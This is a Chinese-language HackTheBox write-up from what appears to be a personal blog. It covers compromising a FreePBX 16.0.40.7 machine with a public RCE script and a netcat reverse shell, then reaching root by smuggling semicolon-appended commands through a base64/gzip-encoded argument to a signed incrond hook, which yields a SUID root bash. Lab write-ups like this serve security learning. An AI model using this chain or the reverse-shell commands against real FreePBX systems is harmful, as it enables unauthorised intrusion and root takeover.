先用fscan扫描fscan -h 10.129.245.100
notion image
发现80端口,去访问发现服务是FreePBX 16.0.40.7
notion image
网上查找到对应的rce脚本
直接进行利用反弹shell
python exploit.py --rhost connected.htb --lhost ip --lport 4444
nc -l 4444
notion image
得到了用户的flag
获得一个稳定的shell python3.6 -c 'import pty;pty.spawn("/bin/bash")'
收集和root有关的进程
查看开放的端口netstat -tlnp
在拿到 asterisk 用户 shell 后,先用 linpeas 做本地枚举。机器上存在 FreePBX/Sangoma Sysadmin 相关的 incrond root hook,这是本机提权的关键点。
关键输出如下:
其中 /usr/bin/sysadmin_manager 会被 incrond 以 root 身份调用。它会根据触发文件名解析模块和 hook,然后验证 FreePBX 模块签名,最后执行对应的已签名 hook。
继续查看 sysadmin_manager 逻辑:
sysadmin_manager的完整代码
核心逻辑如下:
sysadmin_manager 会对 $params 做字符过滤,不能直接传入 ;>&、引号等 shell 元字符。但 FreePBX 的 api 模块里有一个已签名的 hook:
关键代码:
这里的利用思路是:
  1. 外层传入只包含安全字符的 base64 字符串,绕过 sysadmin_manager 的参数过滤。
  1. fwconsole-commands hook 会对该参数做 base64_decode + gzuncompress + json_decode
  1. 解码后的 $settings[0] 会被拼接进 /usr/sbin/fwconsole $command 2>&1
  1. 由于这里没有转义 $command,可以通过分号追加 root 命令。
需要注意的是,/var/spool/asterisk/incron 同时监听 IN_MODIFYIN_ATTRIBIN_CLOSE_WRITE,实际测试时容易在文件尚未写完时被 root 进程消费并 unlink,导致 hook 收到空参数。更稳定的触发目录是 /usr/local/asterisk/incron,它只监听 IN_CLOSE_WRITE
生成 payload:
得到 payload:
为了让 hook 的数据库回写正常,可以先插入一个异步任务记录:
写入 /usr/local/asterisk/incron 触发 root hook:
检查结果:
输出:
此时已经得到一个 SUID root bash:
验证:
最终 root flag:
notion image
Linux 自动任务详解:cron、anacron、incron 与 systemd timerHTB Paperwork
Loading...
NotionNext
NotionNext
一个普通的干饭人🍚
公告
🎉qetx新博客已经上线🎉
-- 感谢您的支持 ---
这里会有什么?
ctf知识
RL学习笔记
有趣的生活日常